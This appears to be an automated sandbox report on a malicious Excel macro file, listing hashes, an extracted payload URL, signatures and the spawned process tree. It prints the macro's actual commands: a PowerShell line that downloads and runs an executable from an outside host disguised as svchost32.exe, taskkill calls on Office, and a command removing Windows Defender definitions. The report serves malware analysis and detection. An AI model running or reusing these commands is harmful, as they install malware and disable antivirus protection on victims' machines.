Analysis
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max time kernel
91s -
max time network
129s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
30-11-2022 14:14
Behavioral task
behavioral1
Sample
601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm
Resource
win10v2004-20220901-en
General
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Target
601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm
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Size
28KB
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MD5
b8f3bd05ba309b145a93bf03c3f97106
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SHA1
c79a2d7427dbd7a05e1faf4e894dccfbf98304eb
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SHA256
601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921
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SHA512
aa6634f3699eb2d1ef2ff48cefb7864bf4466f28c5fedf6ad43d40d83e5b509ad5f378d06145f2bcbb01a92a95dda7aea980db9af0cfe1cc5bcd90f2e9325d6f
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SSDEEP
768:+qDDovTEQ1MCf2W962F/XrNoa7PD3n4+KVj:+iCrMCo2F/PD34FVj
Malware Config
Extracted
http://lokipanelhostingpanel.gq/work/worknew/16.exe
Signatures
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Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.execmd.exepowershell.execmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4396 1692 powershell.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4252 1692 cmd.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3848 1692 powershell.exe EXCEL.EXE Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1232 1692 cmd.exe EXCEL.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 4616 taskkill.exe 4732 taskkill.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1692 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 4396 powershell.exe 3848 powershell.exe 3848 powershell.exe 4396 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exepowershell.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 4396 powershell.exe Token: SeDebugPrivilege 3848 powershell.exe Token: SeDebugPrivilege 4616 taskkill.exe Token: SeDebugPrivilege 4732 taskkill.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
EXCEL.EXEpid process 1692 EXCEL.EXE 1692 EXCEL.EXE 1692 EXCEL.EXE 1692 EXCEL.EXE 1692 EXCEL.EXE 1692 EXCEL.EXE 1692 EXCEL.EXE 1692 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.exedescription pid process target process PID 1692 wrote to memory of 4396 1692 EXCEL.EXE powershell.exe PID 1692 wrote to memory of 4396 1692 EXCEL.EXE powershell.exe PID 1692 wrote to memory of 4252 1692 EXCEL.EXE cmd.exe PID 1692 wrote to memory of 4252 1692 EXCEL.EXE cmd.exe PID 1692 wrote to memory of 3848 1692 EXCEL.EXE powershell.exe PID 1692 wrote to memory of 3848 1692 EXCEL.EXE powershell.exe PID 1692 wrote to memory of 1232 1692 EXCEL.EXE cmd.exe PID 1692 wrote to memory of 1232 1692 EXCEL.EXE cmd.exe PID 4252 wrote to memory of 4616 4252 cmd.exe taskkill.exe PID 4252 wrote to memory of 4616 4252 cmd.exe taskkill.exe PID 3848 wrote to memory of 4732 3848 powershell.exe taskkill.exe PID 3848 wrote to memory of 4732 3848 powershell.exe taskkill.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://lokipanelhostingpanel.gq/work/worknew/16.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /f /im winword.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im Excel.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit2⤵
- Process spawned unexpected child process
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5b2c481dd754bf831d6ca2a792048919c
SHA1e3e306f2b3f52a413ab0cd1362700db13726d500
SHA2566ce76f0f173b36f842ab6bffb79f6812d80aac6027d81a6ffaa11fc2439782ee
SHA512cc7e1f08739a2a6f1e31de5a62985603a38984f7b95d51403167f0e95da8402df5e47be334b9db1536e12e36d2e6795ceef72ba8db5b637340ec806462cd3cd9
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memory/1232-142-0x0000000000000000-mapping.dmp
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memory/1692-137-0x00007FFC09650000-0x00007FFC09660000-memory.dmpFilesize
64KB
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memory/1692-132-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmpFilesize
64KB
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memory/1692-138-0x00007FFC09650000-0x00007FFC09660000-memory.dmpFilesize
64KB
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memory/1692-136-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmpFilesize
64KB
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memory/1692-135-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmpFilesize
64KB
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memory/1692-134-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmpFilesize
64KB
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memory/1692-133-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmpFilesize
64KB
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memory/3848-147-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmpFilesize
10.8MB
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memory/3848-151-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmpFilesize
10.8MB
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memory/3848-141-0x0000000000000000-mapping.dmp
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memory/4252-140-0x0000000000000000-mapping.dmp
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memory/4396-143-0x000001DA67F90000-0x000001DA67FB2000-memory.dmpFilesize
136KB
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memory/4396-144-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmpFilesize
10.8MB
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memory/4396-150-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmpFilesize
10.8MB
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memory/4396-139-0x0000000000000000-mapping.dmp
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memory/4616-145-0x0000000000000000-mapping.dmp
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memory/4732-146-0x0000000000000000-mapping.dmp